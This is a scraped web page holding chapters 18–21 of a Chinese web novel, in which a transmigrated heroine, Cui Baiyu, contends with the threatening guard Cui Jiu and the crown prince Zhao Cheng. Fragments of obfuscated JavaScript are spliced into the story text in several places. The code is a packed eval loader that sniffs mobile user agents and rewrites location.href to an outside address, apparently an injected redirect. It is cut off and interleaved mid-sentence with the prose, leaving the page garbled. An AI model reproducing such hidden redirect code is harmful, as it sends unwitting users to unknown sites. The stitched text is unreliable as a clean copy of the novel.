p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15164563|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 崔九道:“不必。” “你那间屋子只是一个库房,是下人临时收拾出来的,”崔白玉顿了顿,“我打算买一套家具,把屋里的都换成新的,到时候,这些旧家具都要搬进你住的那间厢房。” 崔九目不转睛地盯着她看。 崔白玉已经习惯了他阴冷刺骨的目光,现在,她缓一下就能说出话来,“我刚才把院里的厢房收拾干净了,你可以随时搬进来。” 崔九顿了片刻,面无表情地望着她,随即起身离开了屋子。 “你什么时候有空?天气马上就要热了,我帮你量一下尺寸,定制些衣服。”崔白玉下意识伸手留人,不料,崔九没有躲开。 就这样,她居然握住了崔九的手! 他为什么没躲开?! 崔白玉在心里大声指责。 崔九呼吸急促了一下,说不清心里是什么感受,但脑海里忽然起了一个诡异的念头。 他应该把人囚禁在身边。 崔白玉心脏倏地跳了一下,手心冒出了冷汗,局促地收回手,“不好意思。” 崔九静了片刻,冷不丁地说:“尺子在哪?” 这是什么情况?崔白玉一愣,换了另一只手指向梳妆台,“抽屉里。” 不应该是对她爱答不理,然后冷漠的走开吗? 崔九一反常态,抬脚走到窗前的梳妆台,注意到桌面上的纸张,动作顿了一下。 上面的字迹和符号让他感觉很陌生,她不是崔白玉,无论容貌再相似,但她的性格和习惯,和以往大不相同,这根本不是同一个人。 但她比崔白玉更加难缠。 崔白玉内心有不好的预感,走下床,稍微整理了一下衣服。 屋中一片寂静,崔九走过来,目光沉沉地看着她,声音变得冰冷而生硬,“你叫什么名字?” 原来再怎么习惯,也会有刻到骨子里的发憷,崔白玉擦了擦冷汗,接过他手里的软尺,低声道:“雪莉,当然,你还可以中文名字,崔瑜。” 这次不是谎话,崔九低头紧紧地盯着她的一举一动。 直到一双手环过他的腰身,崔白玉离得更近了一些,温热且带着香气的鼻息近在咫尺,不知不觉间,纤长睫毛微微颤动,琥珀色的眸子染上某种隐含深沉的晦涩。 不得不说,崔九的身材很好。 身材挺拔,肩膀宽阔,给人的气场强势而充满压迫性。 可尽管如此,他身上的衣服勾勒出的肌肉并没有很突兀,紧绷的弧线反而如流水般流畅,只是在杀人的时候能看出恐怖的爆发力。 原著中,他可以拧下一个人头颅。 崔白玉这般想着,又特意观察了一下他的指甲,修剪得干净无暇,是个很注重细节的人,虽然进入女士房间不敲门,但能感觉出来,在被送到鬼市之前,他受过良好的教育。 是有钱人不要的小孩? 崔九见她盯着自己的手发呆,用力闭了一下眼睛,下一刻,近乎粗暴的将人一把推开。 一个趔趄摔倒在地上的崔白玉顿时大脑一片空白。 “.......” 她是犯了天条吗? 18. 流言 崔白玉瘫坐在地上,手里拿着软尺望着崔九头也不回的身影,一脸茫然和怨恨。 这一幕,就如同狠辣绝情的帝王将失宠的妃子打入冷宫。 场面好不凄惨。 崔九回到院子,打了一桶凉水洗脸,过了好一会儿,四肢百骸燃烧似的燥热才渐渐平息。 事情变得愈发诡异,一切似乎都脱缰了,甚至到了不可控制的地步。 他第一次警告崔白玉远离太子是为了试探两人的关系,如若她真是太子的人,那他完全可以杀了或者暗中利用。 然而几天下来,他观察后得到结论:她只是一个愚昧无知的蠢货,为了活命千方百计的想要逃离这里。 既然如此,那第二次算什么? 明知两人没有任何关系,为何还要让她去接近太子? 如果是掩护身份,她只需要做好崔家二小姐的身份就可以。 崔九的心情变得躁动不安,还有一些莫名的情绪就是潮水一样袭来,让他感到兴奋和颤栗,内心的欲望也变得更加强烈。 他需要杀人来宣泄。 说炸毛就炸毛,崔白玉一边想着一边狼狈地站起身,拍了拍衣服上的灰尘,去库房找来一批绸缎。 反正也是闲着,总得有件事打发一下时间。 待材料准备齐全,崔白玉将方才测量的数据写在纸上,忙活一下午。 到了傍晚,她去院里的厢房看了一眼,果然空空如也。 崔九没有搬过来。 既然如此,那她就只能抱着枕头去西厢房。 春华院距离西厢房之间有一段距离,趁着天色还没完全黑下来,途中经过小花园,崔白玉顺手折了几枝桃花。 崔九的屋子死气沉沉,桃花可以摆放在屋子作为装饰,增加温馨感和美感。 至少,她看着是顺心的。 西厢房没有亮光,周围一片昏暗,崔白玉张望了一下,放轻脚步走到门前,微微推开一道细缝,“.......崔九?” 门没关,是出去了? 这个狠心的男人真的把她扔下了。 崔白玉迟迟没有等到回应,往里走了几步,想着先点上蜡烛。 然而就在此时,门不轻不重地关上了。 浓重的血腥味扑面而来,令人不寒而栗。 崔九站在门口,手下意识收紧成拳,脖颈上覆着一层细细的汗。 崔白玉遏制不住一股反胃感,转过头来对上了他的目光,呼吸一滞,“你受伤了?” “不是我的血,”崔九站在原地没有动,盯着她看了一会儿,“你来做什么?” 他站门口,这就意味着猎物已经无法离开屋子了。 崔白玉愣了一下,恳求道:“我想留在这里。” 他们之间的流言蜚语眼看着就传到外面了,崔九仍旧不动声色地盯着她,一步一步朝她走来,再次确认了一遍,“你确定还要住在这?” 不顾名节...... 崔白玉点了点头,看不清他的表情,目光下移,注意到他起伏的胸膛,发现他远没有表面那般冷漠和游刃有余。 生病了? 正想着,下一刻,高大的身影覆过来,她的手腕被人猛然扣住,掌心粗糙的硬茧磨得她生疼。 崔九的脑子里还在不断叫嚣着,哪怕他已经杀了人,但癫狂可怕的念头仍在内心深处疯狂滋长。 自从经历了那场火灾,他的情绪已经很久没有这样起伏过。 不知名的野种,天煞灾星,诅咒降世,这些话从出生起就伴随着他,异样和恐惧的眼神如影随形,死后更是称之为天谴。 他不该存活于世,所以那些想要他死的人,也不能活得安生。 但这些人只能激起他的恨意,崔白玉不一样。 两人沉默着,约莫一盏茶的工夫之后,崔白玉努力忽视那些令人作恶的气味,长长地舒了一口气,“你想问我什么?” 崔九居高临下地注视着她,抬手捏住她的脸,迫使对方直视自己,冷静出声:“你根本不喜欢我。” 崔白玉:“....................” 你酝酿半天就想问这个? 崔白玉唔了一声,眼底甚至还有一丝无辜,“为什么这么说?” 崔九脸色沉下来,指腹抵在她柔软的唇瓣,“比起我,方叙言更能吸引你。” 天之骄子,才华横溢,能光明正大站在阳光下。 崔白玉看到他脸上露出一个稍显扭曲的笑,顿时意识到自己有点得意忘形,后背生出一层冷汗,心里涌起了阵阵后悔,“......小侯爷是一个值得深交的朋友,只是这样而已。” 不得不承认,崔九是一位极其聪明的天才,在交织的谎言中辨出有几分真,将她的性格脾气喜好都猜想的差不多。哪怕她再怎么隐藏,崔九都能识破伪装。 “我最讨厌别人骗我,”崔九周身萦绕着一种可怕的戾气,将手掌慢慢下滑到她的脖子上,“但你很喜欢说谎。” 崔白玉心里陡然一沉,感觉下一刻,崔九会徒手掰断自己的骨头。 她忍不住后退一步,但没退成,“我没有骗你,我是个慕强的人,你很厉害,也很聪明,我喜欢你这很正常......” 这很正常? 崔九逐渐收紧手上的力道,闭了闭眼睛,不知过了多久,骤然收回手。 他没办法下手杀死她。 尽管那些只是搪塞他的谎话。 “我承认之前骗了你,我没有嫁给你的打算,但相处的这段是日子,我觉得你是个很好的人,我很喜欢你......但这喜欢也可以是仰慕和欣赏。”崔白玉悄悄抬眼注意崔九的神情变化,动作格外小心。 她似乎抓到了崔九的弱点,他对感情没有正确认知,也不分不清其中的概念。 在他的世界里,只有该杀和不该杀的人,而崔瑜没有伤害过他,是不该杀的人。 一个什么样的人,会分不清自己情感? 屋子陷入死寂,崔九无声冷笑了一下,手背上的青筋微微凸起,“仰慕我什么?” 原著中,崔九刻意隐藏了自己实力,他会抚琴,会吹笛,会博弈,琴棋书画样样精通,暗中帮助苏有枝解决的许多事情,现在细想,他又何尝不是在暗中操控。 当然,这些崔白玉都不能说,眨了一下眼睫毛,“你长得好看......武艺高强。” 这就足够吸引她这个肤浅的人。 崔瑜活了二十一年,跟着老板爱德华在生意场上什么人都见过了,爱德华的父亲拥有地位最高的勋位,所以他继承的产业无比庞大,每天酒会上需要她和各种各样的人打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“这有什么,前几天晚上,二姑娘在崔九屋里待一夜,出来的时候,走路都走不稳当了!” “早就知道二姑娘水性杨花,搔首弄姿,但没想到居然和自己的侍卫厮混在一起,这要是崔公子回来知道这件事怕是得疯了!” “日后定然是有热闹看了,和一个侍卫勾搭在一起破了身子,日后还有哪个正经男人敢要她?” 桃酥听言脸都气青了,砰的一声,一脚踹开了耳房的门,厉声道:“说什么鬼话呢!再乱讲小心让二姑娘割了你们舌头。” 丫鬟们吓了一跳,手里茶杯脱手,摔了个稀碎。 然后,事情果不其然闹到春华院。 崔白玉睡得稀里糊涂,听见有人敲门,一骨碌从床上爬起来,打开房间的门,“怎么了?” “......”方叙言以为桃酥方才的话是委婉拒绝,没想到是给人睡懒觉找补。 他下意识转身回避,心里默默叹气,耳垂微微染上红晕。 桃酥气得跺脚,激动道:“姑娘,院里的下人造谣生事,你快管一管啊!” 崔白玉眨巴了一下眼睛,注意到桃酥身边的方叙言,面色微微一变。 就在这时,崔九也走进院子。 19. 赴约 今天是什么日子,院里这么热闹? 崔白玉拢了拢衣领,正要开口说话,忽然收到崔九森寒阴冷的眼神警告缩了回去,“等我一下。” 她得回房间整理一下仪容。 按照往常,她的院子不会有人来,所以起床梳洗完,会躺回去补了一个回笼觉。 结果现在出来头发乱糟糟的,领口微敞,露出白皙的锁骨,整个人略显凌乱。 崔九的拳头攥得很紧,修长的手指骨节分明,指尖却因为用力过猛泛着青白色。 心里一股无名火升起。 小白身残志坚,偷跑出去玩被崔九逮到,一身怨气,嗷嗷叫了几声。 崔九捏着它的后颈毫不留情地扔给桃酥,声音冰冷:“去正厅。” 桃酥被他眼里的寒光震慑住,愣了好一会儿,才回过神来,侧身看向方叙言,“小侯爷请随我来吧。” 大抵是第一次在气势上为人所压,方叙言对上崔九的目光,微微眯起眼,眼底寒意尽显,周身萦绕着不容侵犯的气势。 这一瞬间,四周安静得可怕,两人就这样面对面站着,目光交织在一起,剑拔弩张的气场迅速弥散开来。 桃酥夹在中间,震惊得说不出话来,感觉两人下一刻就会动手打起来。 她一定会被误伤,还是很惨的那种! 时间仿佛凝固,危险的氛围一触即发。 崔白玉匆匆穿好衣服,推门而出,只见门口一人一猫瑟瑟发抖,“怎么都站在外面?” 桃酥抱着小白眼眶通红,跑到崔白玉身后,委屈道:“姑娘,我怕。” 方叙言见到崔白玉出来,收回目光。 崔白玉下意识地先看向崔九,精准的捕捉到他眼底闪过一丝阴狠,心生一片凄凉。 谁又惹这位祖宗了? 崔白玉自知这人是哄不好,只好移开目光,朝着方叙言微微一笑,“小侯爷找我是询问茶馆一事?” 方叙言顿了顿,转眼又成了那个面若冠玉的公子,“那日灯会聚集的百姓太多,我抽调不出人手,还好遇见了太子殿下,将你被人带走的事情告诉了他。” 崔九冷然一笑。 崔白玉背对着崔九,没注意他这些小情绪,“太子殿下来得很及时,我并未受伤,凶手抓到了吗?” 方叙言摇了一下头,略略思忖片刻,“你可知凶手为何将你带走?你看清他的面容了吗?” 总是谦谦君子温润如玉之风,有时候,只看他的脸真的很难相信,他是个武将。 “我下楼梯的时候看见他正在行凶,”崔白玉揉了揉眉心,回想了一下当时情形,“他蒙着面,武功很好。” 崔九眉心忽地蹙了一下,方叙言微微颔首,问道:“如何判断?” “他扛着我跑的很快,但我根本听不见他的喘息声,”崔白玉手慢慢扣紧了团扇,“对了,我当时挣扎的时候摸到了他的脸,是一道很长的刀疤。” 方叙言并不惊讶,犹豫了片刻,神情凝重,“崔姑娘,我今日来此,其实并非是询问此事。” 崔白玉愣了一下。 恩师的案子已经有眉目,所有的证据都指向了太子赵呈,方叙言知道崔白玉是无辜之人,不希望她趟入这摊浑水,“敢问崔姑娘是真心喜欢太子殿下?” 崔白玉心里骤然一紧,旋即摇了摇头。 是了,这个时机,他们已经开始筹划推翻太子的计划了。 赵呈是一个将死之人。 方叙言道:“眼下这个时机,崔姑娘不要在和太子有任何联系。” 崔白玉捏着扇子的手轻轻摩挲了两下,垂眸说道:“我知道,我这样的身份是配不上太子殿下的,以后我都不再去纠缠了。” “我不是......”方叙言没有任何贬低她的意思,只是现在解释也不合时宜,他岔开话题,“其实,那日派人行刺你的人,我查到了,是康家的五姑娘康云绣。” 桃酥睁大眼睛,总算听明白一件事,凑到崔白玉身边小声解释道:“她也喜欢太子殿下,所以姑娘在她经过的时候,往她身上泼了烧开的热水,听说身上和受伤都落了疤。” 崔白玉:“................” 她已经能想象到自己被审判的那一日该有多惨了。 可到了那时,她又该何去何从? 缄默了一会儿,方叙言见她心不在焉,想了想,开口道:“既然如此,我就不叨扰了,日后崔姑娘需要帮忙,可去府上找我。” 崔白玉一惊回过神来,浑身都是毛毛的,点头致谢,“多谢小侯爷。” 方叙言走后,崔白玉翕动几下嘴唇,几番欲言又止,终归是没说什么,她一路沉默走到凉亭,浑然不知后面跟着两个人一只猫。 崔九见她一副心事重重的模样,心里不是滋味。 她就这么舍不得那个傀儡? 桃酥不明所以,只当是筹谋大事,紧紧跟在身后听候吩咐。 崔白玉作为孤儿,却是一个极度需要安全感的人。 金钱和权力,她必须拥一个,至少自身的生存不需要担忧,眼下她两手空空,已然陷入了恐惧和焦虑。 当然,她也尝试着在人的身上寻求过安全感,所以她交了一个男朋友,然而他并不走心,看上了只是自己广阔的人际关系。 她想要的感情掺杂了别的东西。 显然,这是她完全接受不了的。 崔白玉深吸一口气,攥紧了微微发抖的手,故作轻松的看向他们,“你们去忙吧,我想自己一个人能待会儿。” 她不能坐以待毙。 就如方叙言所说,他无疑是已经和崔琅华取得联系,且加入推翻太子的队伍中。 但崔琅华和方叙言无人告知她这个计划,崔九行事诡秘,更是不愿多说一个字。 这些人什么事都瞒着她,显然是不信任,所以她不能对这些人有任何依靠。 崔九站在原地没动。 桃酥经他提醒,匆匆跑回房间拿来一件披风,想要帮她披上,不料却被自然而然地推开了手,“......姑娘?” 崔白玉没能控制好情绪,眼里透出一种淡漠的疏离,“先退下。” 这次的语气和往日里大不相同,连桃酥都听出了不对劲。 桃酥愣在原地。 崔白玉径直站起身,绕过崔九,径直回到了屋子关上门。 她现在就像一条深陷在蛛网里飞蛾,越是想要逃离越是被蛛丝紧紧缠绕。 可笑又可怜。 桃酥气上心头,胆子瞬间大了,“你是不是欺负姑娘了?” 崔九一声不吭。 桃酥重重的哼了一声,“肯定是因为那些流言蜚语惹得姑娘不高兴了,谁让你搬进院子的——” 话未说完,远处忽然走过来两个人,门房道:“桃酥姑娘,此人是太子身边的刘公公,说要见二姑娘。” 桃酥睁大眼睛,眼中闪着惊喜的光。 方才是方小侯爷,现在是太子殿下,二姑娘这桃花是不是太好了? 刘仪笑了一下,眼睑浮现出不少细密的鱼鳞纹,问道:“崔姑娘在何处?太子殿下想约人在明绛酒楼一叙,两人之前已经约好了。” 崔九正要离开,听到这话忽然停下脚步。 桃酥抿了抿唇,“跟我来吧。” 春华堂,崔白玉趴在桌子上想事情,一筹莫展之际,崔九翻窗而入,脸上毫无表情,冷冰冰说:“一会儿有人过来找你,不许去。” 又是这副高高在上态度,崔白玉直起身子,抛开混乱的心绪,抬头上下打量他一眼,“为什么?” 崔九微微一愣,神色复杂地看着她。 你说不去就不去,什么事都瞒着她,还想让她听话。 有一瞬间,她真觉得自己是鬼迷心窍了相信他。 “我偏要去。” 管得着么你? 崔白玉站起身往外走,见他站在门口挡着,推了一下,发现这人的手臂硬得跟铁块一样,“你不能限制我的人身自由吧。” 崔九冷冰冰地盯着她,琥珀色的眸子混杂浓烈恼怒。 短短几息之间,崔白玉感觉被他的目光凌迟了几次,生出几分莫明的心虚,她掩饰性地收回视线,一心只求尽快离开这个危险之地,“你要是现在杀了我,你们的计划就暴露了。” 崔九胸口起伏了几下,面色不辨喜怒:“威胁我?” 若是换作任何一个人,此时,对方一定是躺在地上的尸体。 “没有,这是你们的事,我不会插手,也不想知道,所以也不要干涉我的自由。”崔白玉尽量保持语气平缓,不想和他僵持,更不想和他吵架,索性抬脚绕开他。 名绛酒楼矗立在京城最繁华的街市。 刘仪进去禀告,崔白玉站在门口默默望了一会儿,正胡思乱想间,猝不及防地被一个小孩抱住了腿,哭哭啼啼地说:“漂亮姐姐,我找不到家人了......” 崔白玉低下头,笑道:“那你是在哪里走丢的?” 男孩身上穿的衣服料子是蜀锦,织纹精细,寻常人家根本接触不到,应该不是小骗子。 男孩吸了吸鼻子,眼泪汪汪地仰头望着她,说话还带着浓厚的鼻音,“.......就在这个酒楼和兄长走散的。” 那你这个兄长可就太不称职了。 崔白玉蹲下身,拿帕子给他擦了擦眼泪,“好啦,别哭了,我带你去找他,你叫什么名字?” 男孩道:“......赵辛。” “你先别着急,我们先进去等一等,如果他发现你不见了,一定会出来找的,”崔白玉牵着他的小手往酒楼里走,在心里默默念了几遍名字,觉得好生熟悉,“你兄长叫什么名字?” 赵辛道:“也姓赵。” 崔白玉:“......”应该是亲生的。 赵辛低着头,继续补充道:“他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔白玉捏了捏耳垂,视线不自觉地落在了赵辛身上,眼底闪过一丝光芒。 未来的皇帝.......这不就是她的大腿吗!!! 还有谁能比这个靠山更稳? 刘仪心下犯了难,犹豫片刻,领着两人一起去往三楼的雅间。 崔白玉绕过一块乌木镂雕的折屏,果真看见赵呈身边围着好几个女子端茶倒水。 其中一女子端着镶金边的白玉碗,手里拿雕花银勺细细搅拌,随后轻放在赵呈手边。 赵呈身着暗红水纹锦袍,腰间系着一条黑色软带,衣领处漏出大片肌肤。 崔白玉落座一旁,忍不住问了一句,“这是正规酒楼吗?” 赵呈唇角含笑,目光漫不经心,一派风流公子的模样,“何意?” 崔白玉含蓄地看了一眼他身旁的女子。 赵呈道:“吃味了?” 崔白玉心里翻了一个白眼,脸上却是在笑。 赵辛坐在这里心里一千个不自在,一直用两只手捧着杯子,小口小口地喝着热汤。 赵呈抬手示意她们下去,目光落在赵辛身上,语气变得异常凌厉,“谁让你来的?” 崔白玉闻声不禁打了一个寒颤,赵辛眼看都要哭了,“皇兄,我.......我只是想你了......” “想我?倒也不必,”赵呈冷笑一声,放下了手里的茶盏,"怎么来的怎么滚回去,别在我这碍眼。" 赵辛眼泪簌簌落下,磕磕绊绊的说:“皇兄,我想再和兄长待一会儿,半天就好——” 赵呈不屑一顾,寒声道:“来人,打一顿送回去。” “姐姐......”赵辛惊慌之下,躲在崔白玉的身后,紧紧地攥着她的衣裳。 崔白玉顿时坐直了身子,对上赵呈的视线,吓得鸡皮疙瘩都起来了,“送回去就好了,为何还要打一顿?” “不打,怎么知道什么是教训,”赵呈略微皱了皱眉,指腹摩挲着杯上鎏金描绘,“刘仪,拖出去打。” 赵辛见刘仪走过来,便什么都顾不得,搂着崔白玉的脖子不肯撒手,“姐姐。” 虽然不知道兄弟二人有什么恩怨,但在大腿面前,且还是一个小孩子,崔白玉一股怜惜之情油然而生,觉得自己应该毫不犹豫地帮助赵辛。 她假装纠结了一下,温声道:“小殿下还小,有些事肯定不懂,你们只有说清楚才能解决问题,而且这次小殿下跑出来是为了见你,并不是因为贪玩。” 赵呈道:“再说话,你也挨板子。” 崔白玉深吸一口气,茫然地眨了眨眼,心道:“爱莫能助了,小殿下。” 很快,赵辛被刘仪带出了房间,崔白玉喝了一口茶水,平复心绪,然而就在下一刻,她真的听到了棍棒的抽打动静,顿时惊愕失色。 原来真的不是开玩笑! 她道:“太子殿下。” 赵呈眼里蕴含的情绪翻涌,声音却淡了下来,“怎么,你想替他?” 崔白玉勉强扯了扯嘴角,忍不住问道:“他是殿下的亲弟弟吧?” 赵呈闭上眼,良久,几不可闻地嗯了一声。 崔白玉敏锐的察觉到对方浓厚的情绪,愣了一下。 他明明也很在意。 20. 傀儡 崔白玉静静地思索着。 赵呈偏头打量着她,随后倒了杯酒递过去,“不用想了,孤只是单纯地想见你一面罢了。” 崔白玉一时没明白他的意思,接过酒杯,试探性地抿了一口,“......是桂花酒。” 赵呈眉毛微微一挑,“酒量如何?” “应该能让太子殿下出乎意料。”崔白玉作为特助经常要在酒会上为老板挡酒。 赵呈轻笑一声,起身推开对面的窗户,一阵风吹来,霎时间,酒醒了不少,“京城之中,几乎没有人知道,我和赵辛是亲兄弟。” 崔白玉面色微变,又端起酒杯,抿了一口桂花酒。 原著描述,赵呈的母妃只是一个御前宫女,既无家世又无人脉。 “孤之所以能坐到东宫的位子,不过是因为太后有心扶持,”赵呈望着夜空的一轮圆月不知在想什么,过了好久,继续说道,“十四岁那年,我忽然得知自己成为太子,搬入东宫,一夜之间,一切都变了,从那之后就再也没见过母妃,直到第六年,我得知自己有个弟弟降生,但母妃却因为生他难产而死,母妃死前,我并未见到她的最后一面,只是陪着她的棺椁走了一段路,至于赵辛,他从小被抱到太后身边抚养,我和他没有什么兄弟情。” 崔白玉眨巴着眼睫毛,心道:“如果没有兄弟情义,就不会将他赶走了。” “我的处境一直都很危险。”赵呈顿了顿,“宫中一直有传言,母妃是被太后幽禁,还将其贬为庶人,母妃是不堪其辱,自杀身亡。” 崔白玉为之一震,若有所思看着他,道:“殿下没有查过?” “没人告诉你,我只是一个傀儡吗?”赵呈自嘲一笑,眼中蒙了一层冰霜,“或者是一个人的替代品。” 崔白玉沉默片刻,忍不住问道:“什么意思?” 赵呈不屑地啧了一声,道:“我不是父皇最看重的人,他看重的是,那个比我小七岁的野种,父皇说他是是百年难得一遇的天纵奇才,在他眼里,我连他一个手指头都比不上。” 天纵奇才,书中还有这个设定? 崔白玉问道:“那这个人哪去了?” 赵呈回眸看着她,冷笑一声,“遭天谴死了。” 崔白玉微微睁大眼睛,“他......相国寺那场大火烧死的是他?难道不是......” 赵呈走到案几前,蹲下身看她,按住她的手心,“你觉得是我?” 崔白玉猝不及防,先是吓了一跳,试图把手抽回来,“我听人说的。” “他的丞,是丞天之道。”赵呈笑了一声,握着她的手腕将人往怀里带,“我不过是个赝品,京城之中,东施效颦都是关于我的笑话。你也觉得我可笑罢?” 崔白玉抵着桌子,奈何不低他的手劲大,一下子扑倒了他怀里。 “怎么又瘦了,孤那日背你还觉得挺沉的。”赵呈瞥了一眼潜伏在暗处的身影,不动声色的把人揽在怀里,“最近听闻你和一个侍卫搅在一起,可有此事?” “没有。”崔白玉徒劳地挣扎了几下,结果不小心撞到桌角,碰洒酒杯溅了赵呈一身。 赵呈不怎么在意,抬手捏了一下她的脸颊,举止间异常亲昵,“既然没有,为何还和人家住一间院子?喜欢他?” “不喜欢。”崔白玉闻到一股如兰似麝的香气,偏过脸,躲开了他的做动作。 赵呈眯起眼睛:“今日来怎么没有见到那个侍卫?” 崔白玉眉头微微拧起,道:“不熟,他是苏有枝身边的人。” 赵呈嗯了一声,松开手,“然后呢?” 崔白玉立即站起身,后退几步和他拉开距离,“什么然后?” 赵呈在灯下闲闲看她,慢悠悠地说:“为什么会和他传出流言蜚语?” 崔白玉稍稍整理一下衣裙,把头发归拢整齐,耐心解释了一下,“还不是那天吓坏了。” 这倒也是,赵呈笑了笑,目光中流露几许柔光,“需要孤给你派几个人吗?” 崔白玉不知道他安的什么心,下意识要拒绝。 “这么不信任孤?”赵呈语调慢悠悠的说,“以你的脾气日后少不了惹麻烦,孤只是不想你死的太快。” 崔白玉轻哼一声,“我又不是傻子。” 性格嚣张又天生反骨,赵呈笑得肩头微微发抖。 就在这时,刘仪躬着身子进屋,低声道:“已经教训完了,但小殿下还是想和您待一会儿......” 赵呈翻脸比翻书还快,冷飕飕道:“送走。” 刘仪面上露出为难之色,“这.........” “我去看看吧。”崔白玉不等赵呈开口,赶紧脚底抹油溜了。 再这么待下去,这厮指不定要做什么。 转眼间,房间里只剩下两人。 这事就这么成了?刘仪微微愣了一下,有些放心不下,“奴婢也跟着过去看一眼。” 赵呈收回目光,一手扶着案几站起身,拢了拢衣领,“不必,继续跟着只会引起太后的怀疑。” 刘仪跟在他身边侍奉多年,知道他无比在意这个亲弟弟,“太子殿下真的打算将人交给崔姑娘?” 赵呈道:“但愿孤没有看错人。” 天尽黑了,酒楼后门,崔白玉看到马车里的惨兮兮的赵辛,直接倒吸一口凉气。 赵辛蜷缩在角落里,后背上的衣服隐隐渗出血迹,想来就算刘仪手下留情,细皮嫩肉的小孩也遭不住。 听到动静,他猛然抬起头,蓦地脸色一变,眼里是肉眼可见的失望,“姐姐,皇兄,真的不肯见我吗?” 崔白玉弯腰钻进马车,紧接着,从袖子里拿出玉瓶,倒出一粒药丸喂给他,“可以镇痛。” 这还是崔九给她的。 赵辛没再说话,将手指缩入袖中,紧抿着唇不再说话。沉默许久,等到马车彻底离开了那条繁华的街道,他才低声道:“.......对不起姐姐,我骗了你。我没有告诉你,我的兄长是太子。” 崔白玉心下不忍,惶惶不知深浅,“没事的,身上还痛吗?” 赵辛脸色惨白如纸,垂下头,攥紧了手里的袖子,“我好多了,谢谢姐姐。” 这不是摆明了?崔白玉心中自责,却也不敢碰他,只得换了一个话题,转移他的注意力,“小殿下,为何会找上我?” 药效发作很快,赵辛渐渐喘上了一口气,“因为姐姐是第一个对我笑的人。” 名绛酒楼是京城第一酒楼,来到这里的大多是达官显贵,若是不经意间对上目光,崔白玉只是习惯性的微笑。 职业假笑也算吗? 崔白玉的良心受到巨大的谴责,不由得问道:“你是说在酒楼里?” “不是的,”赵辛摇了摇头,因为后背挨了板子,只能趴在桌上,“宫中没有人喜欢我,他们从来都没对我笑过。” 居然是个苦孩子,崔白玉揉了揉他的脑袋,“安心养伤吧,会好起来的。” 赵辛捂住胸口,委屈道:“我只是想和皇兄见一面,说几句话,下个月我就要被太后送到陇州,日后怕是再也见不到了。” 崔白玉默默叹了口气,安抚道:“会见到的,一定可以见到的。” 赵辛暗自摇了摇头,不再说话。 大约过了不到半个时辰,马车渐渐停下来,不远处却传来一阵急促的马蹄声。 小安子在羽林卫和东厂太监的簇拥下匆匆走出,见赵辛从马车上下来,立即让人围了马车。 崔白玉听着动静不对,紧跟着赵辛走下马车。 小安子将二人仔仔细细地打量一遍,朝着崔白玉问道:“你是何人?” 赵辛躲在她身后,赵辛躲在她身后, 崔白玉缓缓行了个礼,“民女崔白玉,途中偶遇小殿下,放心不下就跟了过来。” 小安子闻言眼前一亮,这几日公务繁忙,一直没得到机会和崔白玉见上一面。这次倒真是来得巧,他道:“原来是这样,咱家正要出去寻人,倒是麻烦崔姑娘了。” 崔白玉还不知对方身份,只是觉得对方透着一股骄奢富贵之气,不敢再继续搭话,转头看向赵辛,“小殿下,该回去了。” 小安子是司礼监秉笔太监兼东厂提督,别说在宫里的地位举重 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马车已经被小安子的人赶走了。 崔白玉袖中的手微微一动,发现他的眼神越发难以捉摸,“你怎么来了?” 崔九将披风拢在她身上,闻到淡淡的酒香,不由得想起他和太子厮混在一起场面,觉得应该把人千刀万剐了,他冷冷的看了崔白玉一眼:“你想自己走回去?” 崔白玉缓了一口气,似在平复自己的情绪,“幸好你来了,不然今晚就走不了。” 崔九直勾勾地盯着她,眼神还是很沉,但也和以往有所不同,像是透着什么幽怨,“耽误你和太子私会?” 崔白玉没有注意到那些微妙的小情绪,只是心不在焉地否认:“没有,我和他没有那层关系。” 崔九道:“没有关系就可以抱在一起,什么人都可以?” 崔白玉抬眸看他,开始一本正经的胡说八道:“在我长大的地方,抱在一起只是表达友谊的方式,而且还不止这些,还有吻手礼,贴面礼。” 崔九道:“亲吻表达友谊?” 崔白玉不明白他为什么这么问,反应慢一拍,“你想知道?” 天色已晚,街道上没有什么人。 崔九停下脚步,崔白玉回头看他,想了想,决定先谈条件,“你能不能帮我一个忙?” 崔九道:“什么忙?” 崔白玉迟疑片刻,低声道:“帮我调查一下先太子赵丞。” 霎时间,崔九表情冷得骇人,眼睛不着任何色彩,仿佛在看一个死人,“原因。” 崔白玉生出了一丝隐隐的不安,轻声开口道:“就是很好奇,听人说他是个天纵奇才,或许……他没有死在那场火里呢?” 她感觉周围发生的一切都和那个死去的赵丞有着千丝万缕的联系。 崔九道:“你觉得可惜了?” “如果真死了,那才可惜,”崔白玉捏了捏手指,心里感到惋惜,“这么聪明的一个人,将来是个明君不就造福百姓了,没准我也就不用出现在这里。” 有他在,赵呈不会当上太子,崔白玉也不会注意到他。 不知为何,这些话让崔九变得情绪愈发狂躁,天地之间的光影交错颠倒过来,世间的一切都变得满目疮痍。 他没有设想过,那场火没有烧起来会如何。 既然事情已经发生,那就该有个结果,他想过的事就是复仇,然后毁了所有人。 为什么一个人从出生起就被视为不详之子? 他不信命,对这世上的任何事物和人都没有留恋,所以那些人身上即便没有诅咒,也不配活着。 崔白玉上前一步轻轻握住他的指尖,弯下腰将唇瓣贴近他的手骨。 动作很优雅,也没有碰到。 崔九冷峻的脸庞一半沉在阴影里,胸膛剧烈起伏了几下,气势惊人,眼底血丝密布,目光透出了一种诡异的兴奋,好像克制不住欲望似的,很长时间都说不出话来。 崔白玉只当是异国文化带来的冲击,并没有很在意,“吻手礼。” 21. 混沌 崔白玉后知后觉,发现崔九脸上的神情并非是震惊。 对方嘴角带着令人毛骨悚然的笑意,目光亮得瘆人,充满疯狂的欲望,几近癫狂。 这无疑是方才的行为刺激到他的神经,可她还没亲上呢,至于这么恶心吗? 崔白玉冷汗瞬间流了下来,放轻脚步转身离开,尽量降低自己的存在感。 